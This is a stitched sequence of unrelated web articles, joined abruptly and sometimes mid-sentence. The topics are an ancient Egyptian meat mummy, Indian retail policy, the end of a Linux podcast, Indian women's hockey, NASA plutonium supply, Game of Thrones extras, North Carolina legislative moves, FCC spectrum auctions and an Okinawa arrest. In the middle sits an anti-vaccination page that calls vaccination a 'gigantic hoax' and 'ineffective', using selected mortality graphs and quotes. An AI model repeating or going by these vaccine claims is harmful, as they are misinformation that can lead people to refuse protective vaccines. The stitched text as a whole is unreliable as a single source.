The most intriguing chemical profile appeared on the beef mummy, however. The bandaging around the mummy contained remnants of an elaborate balm made of fat or oil and resin from a Pistacia tree, a shrubby desert plant. This resin was a luxury item in ancient Egypt, Evershed and his colleagues report today (Nov. 18) in the journal Proceedings of the National Academy of Sciences. It was used as incense and varnish on high-quality coffins, but it was not used as a human mummification resin for at least 600 years after the deaths of Tjuiu and Yuya.
Nevertheless, it makes sense to see a sophisticated embalming substance on the beef cut, the researchers wrote. Yuya and Tjuiu were an Egyptian power couple and the parents of the wife of pharaoh Amenhotep III. As the queen's parents, they would have merited a no-expenses-spared burial.
Follow Stephanie Pappas on Twitter and Google+. Follow us @livescience, Facebook & Google+. Original article on LiveScience.
Copyright 2013 LiveScience, a TechMediaNetwork company. All rights reserved. This material may not be published, broadcast, rewritten or redistributed.Image caption Opponents say the move will have a drastic effect on smaller retailers
India's government is reported to have put on hold plans to open up the retail market to global supermarket chains.
Just days after approving long-awaited proposals to raise the limits on foreign investment, a government ally said he had been told the policy was suspended.
The decision to allow chains such as Walmart and Tesco into India has sparked fierce opposition.
Critics fear the move would destroy millions of jobs and businesses.
Mamata Banerjee, whose Trinamool Congress contributes 19 votes to the ruling Congress party-led coalition, said that Finance Minister Pranab Mukherjee had told her that the policy would be put on hold.
"(Mukherjee) has told me that the centre has decided to suspend implementation of the decision to allow FDI (foreign direct investment) in retail," Ms Banerjee, chief minister of West Bengal, told reporters in Calcutta.
"He has told me that the decision will not be implemented unless there is consensus on the issue," said the chief minister, who is an opponent of the policy.
We should not be envious of Wal-Mart L.K. Advani, Bharatiya Janata Party
Caps raised
Earlier this week, Food Minister KV Thomas said the cabinet has agreed to 51% foreign ownership of multi-brand retail stores, allowing groups like Wal-Mart and Tesco to open stores.
Currently, such operators can only sell wholesale in India but not directly to customers.
The cap on single-brand stores - such as Apple or Reebok - was to be raised from 51% to 100%, Mr Thomas also announced.
A decision on the issue has been pending for two years.
Image caption Giants like Wal-Mart have long eyed the lucrative Indian market
A senior leader of the main opposition Bharatiya Janata Party (BJP) said the government was misleading the country about the benefits of foreign supermarkets.
A 'truly borderless world'
"Wal-Mart may be fine for (the West) but Wal-Mart does not serve us," LK Advani, a former president of the BJP and leader of the opposition from 2004 to 2009, told a summit in Delhi.
"We should not be envious of Wal-Mart," he said.
The original announcement was welcomed by the Retailers Association of India. "Consumers will have many more choices," said the association's Gibson Vedamani. "It will truly be a borderless world in terms of products available."
Supporters of the move say it will increase competition and quality while reducing prices, which have been hit by close to double-digit inflation.
Opponents say the multi-nationals will squeeze out India's smaller and poorer traders and drive down prices paid to India's farmers.
Trade Minister Anand Sharma said before the decision that there was "a broad-based consensus" in the cabinet in favour of the proposal.What follows is all about Linux podcasts—something I’ve spent a fairly ridiculous amount of time on over the last decade or so. So, this post is basically inside baseball—for Linux podcasts. You’ve been warned.
--------------------------------------------------
This past Sunday, Jupiter Broadcasting announced the Linux Action Show—one of the longest-running podcasts in the Linux world, which has aired almost continuously since June 10, 2006—is coming to an end and closing down production.
Over a decade. That is a seriously good run for any show—podcast, TV, radio or otherwise. When I and my co-host created the Linux Action Show (typically abbreviated as LAS) nearly 11 years ago, we had no idea it would last this long. Nor did we have any idea of how far it would grow.
In 2012, about six years after creating the show, I handed over my half of the podcast to my co-host and turned to focus on different projects. I’ve been completely removed from, and uninvolved with, the show since then. Just the same, I look back on that first half decade of the Linux Action Show with great fondness.
I have the career that I have thanks in large part to the Linux Action Show and the opportunities it created for me.
I started writing articles and doing more public speaking because of that show. It gave me the chance to hone my craft (maybe “hone” is the wrong word—perhaps “stumble around with” is a bit closer) and get to know the free and open source world from multiple angles.
Heck, some of my closest friendships are thanks (at least in part) to this quirky Linux podcast.
After I left the show in 2012, my seat was taken over by my buddy Matt Hartley (who served as co-host for about three years or so). Upon hearing the news of the show closing down, Matt had this, rather succinct, statement, which I agree with wholeheartedly:
"Met a lot of fun people, good times were had."
Truth, Matt. Many, many good times.
Linux Action Show trivia
As a salute to the Linux Action Show, here are a few bits of trivia that fans of the show may or may not have known. I figure I should write some of this down while I actually remember.
The classic theme song for the show was custom made just for LAS. Chris (my co-founder) and I each pitched in some bucks and hired a musician to compose it for us. I wanted the song to have a vibe similar to Sonic The Hedgehog. That’s why it sounds the way it does.
The very first interview on the show was with my buddy Aaron Seigo. He came on to talk about the upcoming “KDE 4.” (Back then he was on the KDE board.)
As the show was growing, in 2007 we got it in our heads that we’d start a new Linux distribution project. The code-name was “Jupiter.” Chris and I are both big sci-fi nerds, and we named it after “Lost in Space.” The project, needless to say, was abandoned.
In 2008, we decided we needed to form a business around the show. We wanted to diversify and start doing new shows. (Chris wanted to do a show highlighting retro radio dramas, and I wanted to do an original sci-fi serial.) Luckily we already had a good name: Jupiter. Add the word “Broadcasting” to that, and we were good to go.
In 2009, we stopped doing the Linux Action Show for a short spell. We renamed the show Computer Action Show in an effort to be more generaly computer-focused. It didn’t work well—it was a short-lived change. We also did a one-off, April Fools’ episode called the Windows Action Show.
In the first few years of the show, we often alternated the location where we recorded each week. For quite some time, we recorded in my living room on my couch. I purchased a travel rack box where we stored the mixing board and most of the gear. It was still a royal pain to lug around from house to house.
There was only ever one “Ubuntu Live” conference. It was held in Portland, Oregon, alongside an OSCON. That year (can’t remember which at this point) Chris and I made the road trip out there. This was the first time I met Jono Bacon (at the time of Ubuntu) and Jeremy Garcia (Linux Questions). Both of whom I would go on to create and co-host the Bad Voltage podcast with after my time working on Linux Action Show ended. None of us remembers this moment, but we determined that we almost certainly went out to dinner together with a group one evening. Probably. It’s hazy.
So much fun. So much craziness. I’m bummed to see it end.
Luckily, the Linux world has a good dosage of great Linux-focused content nowadays. Here’s a quick list of a just a few that I can personally vouch for to fill the LAS-shaped hole in your heart: Bad Voltage (another show that I co-founded and co-hosted for the first three years—I left the show last December). There’s also The Linux Gamer; Level1 Linux; my own show, The Lunduke Hour; Simply Elementary; and a bunch of others. Lots of great shows to sample from.
I recommend treating it like a buffet line. Sample a few bites of all of them, then go back and load your plate up with fried shrimp. Because this is a buffet. And, come on, all-you-can eat fried shrimp.
To everyone who helped to make the Linux Action Show over the last 11 years—and to the fans who contributed so much to the show and to the Linux world in general (and also had a profoundly positive impact on my life)—high fives all around.Do Infectious Disease Mortality Graphs Show Vaccines Save Lives?
Source of above quote: Dr Blaylock’s article HERE
Vaccination advocates claim that “vaccines save lives”, or that “vaccines have saved millions of lives”.
Their claims conflict with statements by authors and researchers who have actually looked at the evidence.
“The combined death rate from scarlet fever, diphtheria, whooping cough and measles among children up to fifteen shows that nearly 90 percent of the total decline in mortality between 1860 and 1965 had occurred before the introduction of antibiotics and widespread immunization. In part, this recession may be attributed to improved housing and to a decrease in the virulence of micro-organisms, but by far the most important factor was a higher host-resistance due to better nutrition.”
Ivan Illich
Medical Nemesis, Bantam Books, 1977
So, who is right? Here is what official government statistics of infectious disease mortality (number of deaths) show:
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England/Wales: Combined infectious disease mortality rates 1838 – 1980
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United States: Diphtheria mortality rates 1900 – 1966
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Germany: TB mortality rate 1750 – 1960
The decline in the number of TB deaths per 10,000 people in Germany from 1750 to 1960. Neither sanatoria nor the TB vaccine nor chemotherapy made any noticeable difference.
Note the spikes during the two world wars (1914 – 1918 and 1939 – 1945), showing that the incidence of TB is related to social and living conditions and that TB and deaths caused by it increase when living conditions deteriorate due to social upheavals, as during the two world wars.
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England: TB mortality rates 1855 – 1965
This graph from England shows a similar steep decline in TB mortality and that neither antibiotics nor vaccination contributed to the decline.
Note that unlike in Germany, where TB deaths spiked during the two world wars, in England, the decline only slowed, presumably because in England living conditions didn’t deteriorate as much as in Germany.
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New Zealand: TB mortality rates 1750 – 1975
Unlike in the two previous graphs, there is no spiking or slowing of TB deaths during the two world wars, as in New Zealand living conditions didn’t change during the war years.
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England/Wales: Tetanus mortality rates 1901 – 1966
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England/Wales: Whooping cough mortality rates 1838 – 1976
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US: Whooping cough mortality rates 1900 – 1967
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US: Polio mortality rates 1920 – 1970
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US: Measles mortality rates 1900 – 1988
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England/Wales: Measles mortality rates 1838 – 1978
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England/Wales: Scarlet fever mortality rates 1838 – 1978
Please note that even though no vaccine was used against scarlet fever, scarlet fever deaths declined similarly to mortality rates of so-called vaccine-preventable diseases.
——————————
“The further I looked into it, the more shocked I became. I found that the whole vaccine business was indeed a gigantic hoax. Most doctors are convinced that they are useful, but if you look at the proper statistics and study the instance of these diseases you will realise that this is not so.”
Dr A Kalokerinos MD, Australia
Quoted from a 1995 interview published in the International Vaccination Newsletter published by Dr Kris Gaublomme MD, Belgium HERE
———————————————
Quoted from Dr Blaylock’s article HERE
———————————————
“The ‘victory over epidemics’ was not won by medical science or by doctors -and certainly not by vaccines…..the decline…has been the result of technical, social and hygienic improvements and especially of improved nutrition. Here the role of the potato…deserves special mention…..Consider carefully whether you want to let yourself or your children undergo the dangerous, controversial, ineffective and no longer necessary procedure called vaccination, because the claim that vaccinations are the cause for the decline of infectious diseases is utter nonsense.”
Dr med G Buchwald, Germany in ‘The Vaccination Nonsense (2004 Lectures) ISBN 3-8334-2508-3 page 108.
Dr Buchwald pointed out that the medical profession falsely credit vaccinations with the decline of infectious disease mortality and that we owe this decline to innovators like Frederick the Great, to farmers, engineers, architects, town planners, builders and social reformers.
———————————————
In 1756, King Fredrick the Great (1712 – 1786) made the cultivation of the potato, which had been brought from South America to Europe, mandatory in Prussia. SOURCE
By about 1850, over half a century after the king had died, the potato had become the staple food of the lower classes, thereby at long last eliminating the chronic hunger they had suffered and resulting in a significant increase of Germany’s population.
Visitors to King Frederick’s grave at his palace Sans Souci (outside Potsdam, not far from Berlin) still put potatoes on his grave in gratitude for his role in eliminating hunger, which in turn contributed to the decline of infectious disease mortality.
Credits:
– Diphtheria, whooping cough, measles, scarlet fever graphs: Health Sentinel HERE
RELATED
– An Honest Look at the Historical Evidence that Vaccines Eliminated Diseases
– Proof That Vaccines Did Not Save Us, 200 Years Of Official Statistics
http://edgytruth.com/2016/07/05/proof-vaccines-not-save-us-200-years-official-statistics/
– Vaccines: A Peek Underneath the Hood
by Roman Bystrianyk and Suzanne Humphries, MD
International Medical Council on Vaccination
http://www.vaccinationcouncil.org/2013/11/12/vaccines-a-peek-beneath-the-hood-by-roman-bystrianyk-and-suzanne-humphries-md/
——————-
– Dissolving Illusions – Dr Suzanne Humphreys MD & Roman Bystrianyk
——————–
– Immunization Research – Why This Doctor Reversed her Stance on Vaccines – April 8, 2016
http://www.organiclifestylemagazine.com/immunization-research-why-this-doctor-reversed-her-stance-on-vaccines
——————–
The vaccine effort in historical perspective – Australian graphs
https://vaccinationdilemma.com/historical-death-rates-diseases-vaccination-html/FT: India are crowned Champions of the 4th Women's #ACT2016 after scoring the winner in the final minute of the game! #INDvCHN #IndiaKaGame pic.twitter.com/NfF8mHDG1l
— Hockey India (@TheHockeyIndia) November 5, 2016
Humse jo takraega woh mitti mai miljayega! A big congratulations to our champions. Jai Hind! pic.twitter.com/7pl5KZE39n
— sachin tendulkar (@sachin_rt) November 5, 2016
SINGAPORE: The Indian women's hockey team lifted its maiden Asian Champions Trophy after Deepika Thakur struck in the final minute to give her team a thrilling 2-1 win over China in the final on Saturday.Deepika slotted the rebound in from a penalty corner in the 60th minute of the game to give her team a memorable victory.Earlier, Deep Grace Ekka converted a penalty corner to take India into the lead in the 13th minute before China equalised in the 44th minute through a field goal from Zhong Mengling The welcome result for the Indian women's team comes days after men beat Pakistan to reclaim the Asian Champions Trophy in Kuantan, Malaysia.India's best finish in the Women's Asian Champions Trophy came in the last edition in 2013 when it finished runner-up to Japan. It had finished third in the inaugural edition in 2010.Having learnt from their group stage encounter, India refused to let China take early control of the ball, closing them down high up the pitch, often intercepting their passes and constantly putting pressure by hunting in packs.When in possession, the Indian eves held their nerve and passed the ball around neatly to penetrate China's circle.This slightly different approach to their game compared to Friday helped them earn India's first PC of the game in the 13th minute.An innovative set-piece saw Deep perfectly send the ball past the Chinese keeper for the early lead.Going into the second quarter, India kept up the pressure by playing disciplined hockey, keeping their calm only to deny the Chinese a chance to equalise.However, the third quarter saw China's Mengling Zhong penetrate the Indian circle to score a quick field goal. But the Indian eves were unrelenting and were playing the kind of hockey that had China on the backfoot.China managed to |
Management provides estimates for future budgets. NASA's managers can only start a new mission when those projected budgets show room in the budget for a new mission. Right now, NASA's planetary science projected budget shows no room to start a new mission that would launch before the end of the decade and more likely in the early 2020s. At the rate of mission flights suggested by the projections, there would be little demand for plutonium-powered missions beyond the current Pu-238 supply.
Van Kane Examples of funding peaks for NASA’s current approved smaller planetary missions along with projected funding for the next generation of missions OSIRIS-REx is a New Frontiers program mission and the Mars MAVEN and InSight missions are Discovery program-class missions. OSIRIS-REx is a New Frontiers program mission and the Mars MAVEN and InSight missions are Discovery program-class missions.
NASA's missions in development follow a roller coaster funding profile with development requiring high peak funding for a year or two. As one mission rolls off its peak funding, funds become available to start the next mission. Projected funding (see chart above) suggests that budgets won't support the funding of a new mission until the end of this decade, with a launch then or in the early 2020s. As a result, the new missions that might require plutonium power supplies are projected to be – unfortunately – too few and far between. (Part of NASA's future mission challenge is that late in this decade most of its new mission budget will go to the $1.5B to 1.7B 2020 Mars rover.)
The U.S. has approximately 30 kilograms of Pu-238, or enough for five MMRTGs. A recently released presentation slide from NASA shows one of those MMRTGs reserved for the 2020 Mars rover, which will be a close copy of the MMRTG-powered Curiosity rover now on Mars. The other four are held in reserve for a mid-2020’s mission or missions. While not stated in the presentation, this could be the proposed Europa Clipper multi-flyby mission that would require the equivalent of four MMRTG’s electrical power.
NASA (see this presentation) NASA’s expected supply and use of plutonium-238 for the next two decades
The U.S. has just approved plans to produce new Pu-238 for the first time in decades. The amounts will be small, around one kilogram a year. At that rate, approximately two MMRTGs could be fueled in a decade with new Pu-238. However, the U.S. has a stockpile of degraded Pu-238 (that presumably consists of material old enough that a significant proportion has become useless because of radioactive decay). NASA plans to mix its new Pu-238 with reworked older material to produce enough usable material to power several MMRTGs in the 2020s.
Given NASA’s new dependence on MMRTGs, what types of missions can it still fly and which become impossible or unlikely?
Answering that question requires understanding when a radioisotope power supply either is absolutely necessary to fly a mission or would substantially enhance it. The alternative is solar power from solar photovoltaic panels. Too far from the sun, and sunlight is too feeble to power a spacecraft. Until a few years ago, that line of demarcation fell somewhere in the asteroid belt. With improvements in low light and low temperature (it's cold far from the sun) solar cells, solar powered missions at Jupiter are feasible. One (NASA's Juno) has launched, a second (Europe's JUICE mission) will launch in 2022, and the proposed Europa Clipper mission could use solar power.
Several studies have looked at using solar power for missions to Saturn. The low light, low temperature solar cells should work there. The major problem is that at Saturn, a set of solar panels like those on the Juno spacecraft that produce ~440 W at Jupiter would provide only ~110 W at Saturn. For the Juno spacecraft, approximately half of its 440 watts of power will go to powering the spacecraft systems and instruments and half will go to running heaters to keep the spacecraft warm. Keeping warm is even a bigger problem at the more distant Saturn, and after running heaters, little electrical power might be available for anything else. More solar panels could be added at the cost of additional weight and fuel to maneuver with that weight. As the appendix at the end of this post states, solar power at Saturn is technically possible, but the trade offs are significant.
Beyond Saturn, the size and weight of solar panels would become prohibitive. Realistic spacecraft for Uranus, Neptune, and destinations beyond require radioisotope power supplies (or a future generation of solar panels).
NASA Concept design for a solar powered outer planets spacecraft from the Trojan asteroid Decadal Survey mission study
Other missions requiring Pu-238 missions are those where solar power is intermittent or unavailable. This would include long-term landers or rovers for the perpetually shadowed craters at the poles of the moon or the surface of Titan. Long-lived lunar stations would benefit from radioisotope power since they must survive nights lasting 14 terrestrial days. Mars rovers also benefit from Pu-238 because bright sunlight is available only for part of the day, winter brings dimmed solar light, and dust storms can make noon as dark as twilight. Another challenge for these types of missions (and those in the outer solar system) is keeping the spacecraft warm. Pu-238 power systems have lots of excess heat that can be used without diverting electrical power to heaters.
NASA / GSFC / University of Maryland Comet hopper mission concept The ASRG unit is the rectangular box with cooling fins on top of the spacecraft. The ASRG unit is the rectangular box with cooling fins on top of the spacecraft.
Some inner solar system missions can't be done with large solar panels. One clever idea was a comet hopper (called CHOPPER) that would land in multiple places on the surface of a comet. Landing repeatedly on a rough surface with large solar panels would be impractical, making a Pu-238 power system an enabling technology.
The AVIATR airplane concept at Titan depended on the low mass of the ASRGs to keep it light enough to fly. With only MMRTGs available, that concept is unfeasible. However, hot air balloons for Titan couldn't stay aloft with the lower waste heat available from ASRGs to heat the air for their balloons. This type of mission requires the heat from the additional Pu-238 in an MMRTG.
NASA has a list of missions it would like to fly in its Flagship ($1.5B to $2B) and New Frontiers ($750M to $1B) programs. The following table summarizes whether solar power could be used, and if MMRTGs would be a benefit, how many would be useful. These data are from mission studies done for the last Decadal Survey effort to plan NASA’s planetary science program. The studies assumed ASRGs, but MMRTGs provide similar levels of power, so if a mission requires two ASRGs, it is likely two MMRTGs would be required. (Many of the studies looked at multiple configurations with different numbers of ASRGs, and I've shown the minimum number for a credible mission. In addition, ASRGs, unlike MMRTGs, have moving parts. For redundancy against mechanical failure, all studies assumed at least two ASRGs. It is possible that some of the missions could be done with a single MMRTG.)
Flagship Possible with solar power? Number of ASRGs/MMRGs Mars 2020 rover Yes* 1 Europa Clipper Yes 4 Uranus Clipper No 3 New Frontiers Comet sample return Yes -- Lunar sample return Yes -- Saturn probe Probably 2 Trojan astroid orbiter Yes 2 Io observer Yes 2 Venus lander Yes -- Lunar network Yes 4 *MMRTG is likely to minimize design changes to the Curiosity rover design on which it will be based
Radioisotope power requirements of NASA's candidate Flagship and New Frontiers planetary missions. From the Decadal Survey mission studies.
Based on this table, a reasonable question might be whether the cancellation of the ASRG program will impact the missions that fly. From the list of candidates for Flagship and New Frontiers missions, the answer may be no. There's sufficient Pu-238 for the 2020 rover and Europa Clipper (which could switch to solar power anyway). Under current budget forecasts, a Uranus orbiter wouldn't launch before the new production of Pu-238 becomes available. All the New Frontiers missions on the list could be done with solar power although this would like incur design challenges for the Saturn probe and lunar network.
Where we may see a loss is in the lowest cost class of missions, the Discovery program ($425M to $500M). The expectation had been that NASA would make at least one pair of ASRGs available for a Discovery mission. Engineers and scientists came up with clever ideas for ASRG-based missions – the comet hopper, a Titan lake lander, an orbiter to revisit Titan and Enceladus, a Uranus flyby, and others. With MMRTGs now the only option, NASA needs to hoard its supply of Pu-238. It also has lost the motivation to test a new technology – ASRGs – on a relatively low cost mission. MMRTG technology is already proven.
So NASA's managers made the tough call, and if I were in their shoes, I'd have done the same. I do see two glimmers of hope to resurrect those clever Discovery missions though, or to give engineers the flexibility to use MMRTGs for New Frontiers missions. The first is that Congress for the 2013 budget made it clear that it wanted higher funding for future missions. If this desire becomes policy (and the President's budget office would have to reflect this in their budget projections), then there may be more demand for Pu-238 than NASA is currently envisioning. The second is that if the Europa Clipper design team decides to go with solar power instead of MMRTGs, NASA will have more Pu-238 than missions planned to use it. In this case, they might make MMRTGs available for New Frontiers or even Discovery missions.
You can help build the political support to increase funding for NASA's planetary science program by participating in The Planetary Society's letter writing campaign.
Appendix: Solar Power at Saturn
As part of the 2012 Decadal Survey to create a roadmap for NASA's planetary missions, studies of a number of potential missions were conducted. Two looked at smaller spacecraft to carry and atmospheric probe to Saturn and relay its data back to Earth and to conduct multiple flybys of Enceladus. Both studies concluded that solar cells were possible, but radioisotope power systems were preferable. The following excerpt from the Saturn probe mission study report discusses the challenges of solar power at Saturn.
"Regarding power systems, although it might be possible to use solar arrays for the carrier-relay spacecraft's primary electric power system, operating at 10 AU would push the very limit of current solar cell technology, requiring large margins and an expensive parts selection program for the solar cells. For the mission time period studied, a radioisotope power source (RPS) is less expensive and lower risk for this mission than a solar array system, and would perform well in all mission phases. "Unexpectedly, the solar vs. nuclear trade study concluded that the nuclear option, specifically the use of ASRGs, would provide significant cost savings and risk reduction relative to the solar option. There are multiple reasons. Despite using no RPS, the solar option would nonetheless require radioisotope heater units (RHUs), some in the proposed probe and some in the proposed carrier-relay spacecraft. Thus it would incur some costs associated with nuclear payloads anyway, nullifying one potential cost-saving advantage of the solar option. Solar cells from a production process are not all exactly the same, and differences that are small under normal illumination conditions could be greatly magnified under the low intensity, low-temperature (LILT) conditions in the outer solar system. For a mission to Saturn, selecting acceptable solar cells from production batches would require a significant program of testing and screening, increasing the cost per cell. Because such testing does not always guarantee expected performance, the solar arrays would need to be designed with somewhat larger margins, increasing the size, cost and risk of producing and flying already-large arrays. These large arrays would have masses far greater than the mass of ASRGs producing similar power. Solar array size and mass influenced the proposed launch vehicle selection and subsequent spacecraft operations: The dimensions and mass of the arrays would require a larger launch vehicle and significant operational constraints, contributing significantly to the total cost and risk difference."Westeros is a world with a long, rich history, which the Game of Thrones DVD and Blu-ray sets have done a great job in explaining with their Histories and Lore extras. io9 is proud to exclusively reveal the first one from the upcoming season six set: “The Children of the Forest vs. the First Men,” narrated by the Three-Eyed Raven himself.
Game of Thrones fanatics will of course know that when men first came to the land of Westeros, it was inhabited by the Children of the Forest. As men began cutting down the Children’s sacred Weirwood trees, the two groups went to war—leading to a desperate gambit by the Children, which may spell doom for Westeros, even all these centuries later.
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This Clio Award-winning Histories and Lore series has been part of the Game of Thrones Blu-rays since season one, and they’re always good, but they keep looking better every year. The video above is just the first of 18 that’ll be part of the season six set. The rest are as follows:
The Old Way: narrated by Euron Greyjoy (Pilou Asbæk)
The Kingsmoot: narrated by Euron Greyjoy (Pilou Asbæk)
The Sunset Sea: narrated by Euron Greyjoy (Pilou Asbæk)
War of the Ninepenny Kings: narrated by Brother Ray (Ian McShane)
The Great Tourney at Harrenhal: narrated by Meera Reed (Ellie Kendrick)
Robert’s Rebellion: narrated by Jaime Lannister (Nikolaj Coster-Waldau)
Vaes Dothrak: narrated by Jorah Mormont (Iain Glen)
The Dothraki: narrated by Jorah Mormont (Iain Glen)
Northern Allegiances to House Stark: narrated by Sansa Stark (Sophie Turner)
Brotherhood Without Banners: narrated by Thoros of Myr (Paul Kaye)
Oldtown: narrated by Grand Maester Pycelle (Julian Glover) and Qyburn (Anton Lesser)
House Dayne: narrated by Young Ned Stark (Robert Aramayo)
The Little Birds: narrated by Lord Varys (Conleth Hill)
Knights of the Vale: narrated by Petyr ‘Littlefinger’ Baelish (Aidan Gillen)
House Tarly: narrated by Randyll Tarly (James Faulkner)
Riverrun: narrated by Brynden ‘the Blackfish’ Tully (Clive Russell)
Great Sept of Baelor: narrated by the High Sparrow (Jonathan Pryce)
You can see them all on November 15, when the set is released.North Carolina Governor-elect Roy Cooper at a Hillary Clinton event on Nov. 2. Sara D. Davis/Getty Images
Republicans in the North Carolina General Assembly staged a shocking legislative coup on Wednesday night, calling a second special session and proposing a raft of measures designed to strip power from the newly progressive state Supreme Court and governorship. This last-minute power grab marks an alarming departure from basic democratic norms—a blatant attempt to overturn the results of an election by curtailing judicial independence and restructuring the government to seize authority lawfully delegated to the incoming Democratic governor.
The trouble in North Carolina began when Republican Gov. Pat McCrory lost his re-election bid, likely because of his support for the anti-LGBTQ law known as HB2. At the same time that voters replaced McCrory with Democrat Roy Cooper, they ousted a conservative state Supreme Court justice in favor of a progressive. That tilted the balance of power on the court to a 4–3 liberal majority, ending an era in which the court’s conservatives could rubber stamp the legislature’s voter suppression and gerrymandering.
Because of this gerrymandering, Republicans retained a supermajority in the state legislature, even while losing the governorship and Supreme Court. (A federal court ordered the legislature to redraw its maps and hold new elections, but those won’t occur until 2017.) Rumors floated around the capital that Republican legislators would either throw out the results of the gubernatorial election and reinstall McCrory by citing baseless allegations of election fraud or add two seats to the Supreme Court and let McCrory fill them, restoring Republican control. McCrory eventually conceded defeat when a partial recount could not close his 10,000 vote deficit. But concerns over court-packing grew when McCrory called a special legislative session, ostensibly to pass a disaster relief package.
That session did, indeed, result in a disaster relief bill. However, as it drew to a close on Wednesday, Republican leaders called another special session—with the explicit aim of curbing the authority of both Cooper and the court. They promptly put forth a series of dramatic alterations to the government’s structure, including proposals to:
Overhaul county election boards to prevent Democratic control. Current law states that each county election board must be made up of three members, two of which should come from the governor’s party. The new proposal would give each election board four members—two Democrats and two Republicans—to prevent Democrats from taking control of the boards.
Overhaul the State Board of Elections by merging it with the State Ethics Commission and increasing its size. Right now, the law states that the election board must have five members, with three from the governor’s party. The new law would give it eight members—four Democrats and four Republicans—to forestall a Democratic advantage when Cooper takes office.
Allow a Democrat to chair the State Board of Elections in odd-numbered years—when there are typically no elections—and allow a Republican to chair the board in even-numbered years—when state and federal elections are normally held.
Make Supreme Court elections partisan and introduce party primaries. Republicans believe they lost the 2016 Supreme Court election because the candidates lacked a partisan identification.
Completely change the appeals process in order to limit the state Supreme Court’s authority. When Republicans took power, they provided citizens with the right to appeal constitutional challenges from superior court directly to the state Supreme Court. The new measure would remove this right, requiring constitutional challenges to be heard by all 15 judges of the court of appeals—which is dominated by Republicans—before reaching the state Supreme Court.
Allow McCrory to pick the Industrial Commission chairman, who will serve for the next four years. Under current law, Cooper should have the opportunity to fill this position.
Reduce the number of state employees who serve at the pleasure of the governor. When McCrory took office, Republicans increased this number from 500 to 1,500. They now propose reducing it to 300.
Remove Cooper’s ability to appoint trustees to run campuses in the University of North Carolina system—and transfer that power to the state legislature.
Require Senate confirmation of Cooper’s Cabinet appointments. McCrory’s appointments did not require Senate approval.
Confirm McCrory’s closest ally, state budget director Andrew Heath, to a superior court judgeship.
Abolish car-emissions testing in many counties; eliminate some state environmental reports; and remove scientists from certain state boards tasked with protecting public health, replacing them with industry representatives.
These proposals are not merely designed to negate the will of the voters in this election. They are also intended to maintain Republican-sponsored voter suppression, thereby preventing Democrats from ever regaining control of the North Carolina government. North Carolina Republicans have long strived to prevent black citizens from voting; after the Supreme Court gutted the Voting Rights Act in 2013, they requested data on voting preferences by race, then passed an omnibus voter suppression act that, as one federal appeals court put it, seemed to “target African Americans with almost surgical precision.”
Although that court invalidated the law, Republican-controlled county election boards implemented much of it anyway, curtailing early voting and slashing the number of precincts in majority-black counties. These election boards also allowed Republicans to disenfranchise black Democrats—without their knowledge—in violation of federal law. With Cooper’s victory, Democrats were poised to take control of these election boards, thereby restoring voting rights throughout the state. The new measures will deny Democrats this right. They will also significantly delay challenges to the legality of voter suppression methods, drawing out the process for years before the state Supreme Court can hear these cases.
What’s happening in North Carolina is not politics as usual. It is an extraordinarily disturbing legislative coup, a flagrant effort to maintain one-party rule by rejecting democratic norms and revoking the will of the voters. It is the kind of thing we might expect to see in Venezuela, not a U.S. state. It should terrify every American citizen who believes in the rule of law. This is so much more than a partisan power grab. This is an attack on democracy itself.LAS VEGAS — With millions of smartphone users watching video and streaming music on the go, the airwaves have gotten a little crowded. Fortunately, there's help on the way.
The Federal Communications Commission is preparing to auction off a chunk of spectrum that would provide more room for media streaming over wireless networks. Chairman Tom Wheeler called the move a game changer during an interview at CES.
See also: This is how you take your temperature in 2016
In 84 days, the FCC will gear up to auction off airwaves for nationwide local TV stations to wireless carriers like AT&T for billions of dollars — and the deadline nears for broadcasters to join in. According to the Wall Street Journal, about 2,000 stations could sell broadcasting licenses in the auction. The report highlighted how the move would allow stations access to cash amid challenges from wireless services, online video and new audience behaviors.
"We have seen a lot of interest from broadcasters — the big networks and big groups — and this is the last time we sell the sand on the beach because this is beach front offerings," Wheeler told CES attendees.
By participating in the auction, these stations will free up airwave spectrum space by moving to a lower frequency channel or share it with another station. This means the spectrum will be a less crowded highway so, for example, streaming videos will load much faster.
The price will be dependent on location, too: Those in bigger cities will likely face higher charges.
"We are going to make a market. If we can't raise enough money [for] one... we'll have triggers along the way that measure that and when you establish thresholds, [we will] go into a final round," he said. "It will be set by the market. What is exciting is this is not bureaucracy sitting down and divvying things up; it's the marketplace deciding what is the best use of spectrum and creating opportunities not only for the wireless carriers but also for broadcasters to rethink how they will do business."
He also addressed the concerns associated with the move: "Broadcasters thought early on this would be a threat, but it is an opportunity to rethink your business. What is the big breakthrough that digital creates in a spectrum environment? How do you take a 600 MHz spectrum and put it into different broadcast channels and say 'let's share?'"
In addition, he lauded the criticism late-night host John Oliver has brought to net neutrality, which is a dense (but important) subject.
"He got people interested," Wheeler said. "The number of issues we address that have a real consumer impact... think of what we are doing with set-top boxes... [is small]. John Oliver took an issue and made it into something that people are interested in. We got 4 million responses from consumers, and that is good."
At the core, net neutrality means all data and content on the Internet must be treated equally, whether you're a college student in a dorm room or a mega-conglomerate that uses up a lot of the web's speed for, say, streaming movies and TV shows. Essentially, it means the web can continue as we know it today, while making it illegal for cable and phone companies such as AT&T, Comcast and Verizon to charge a premium to content providers such as Netflix for faster service. Cable and phone companies have spent millions of dollars to lobby against net neutrality, which, broadly, is supposed to protect the Internet from becoming a two-lane highway.
Wheeler stressed the importance of making the spectrum efficient for everyone.
"This needs to be a fore-thought, not an afterthought," he said. "What makes the period of time so exciting is that the digital revolution offers an unprecedented opportunity to attack the challenges, and that has never existed before. If we are in this type of position where technology is delivering the opportunity for solutions that has plagued individuals for centuries and we fumble the ball, shame on us. We feel very passionate that the access to devices that use the networks is a priority."
Jason Abbruzzese contributed to this story.TOKYO (Reuters) - Two U.S. servicemen were arrested on Japan’s southern island of Okinawa on suspicion of raping a Japanese woman, police said on Wednesday, a case that could again strain Tokyo’s ties with its closest ally, Washington.
U.S. Ambassador to Japan John Roos (C) delivers a statement after a meeting with Japan's Senior Vice Foreign Minister Shuji Kira (not in picture) at the Foreign Ministry in Tokyo, in this photo by Kyodo October 17, 2012. REUTERS/Kyodo
The arrests come at a time when public opinion in Okinawa is at odds with Tokyo for allowing the U.S. deployment of Osprey hybrid aircraft on the island despite lingering concerns about their safety.
Tuesday’s arrests also coincide with a sharp deterioration in Japan’s relations with China over a disputed East China Sea island chain that makes it strategically important for Tokyo to reaffirm its alliance with the United States.
Okinawa is major center for the U.S. military based in Japan.
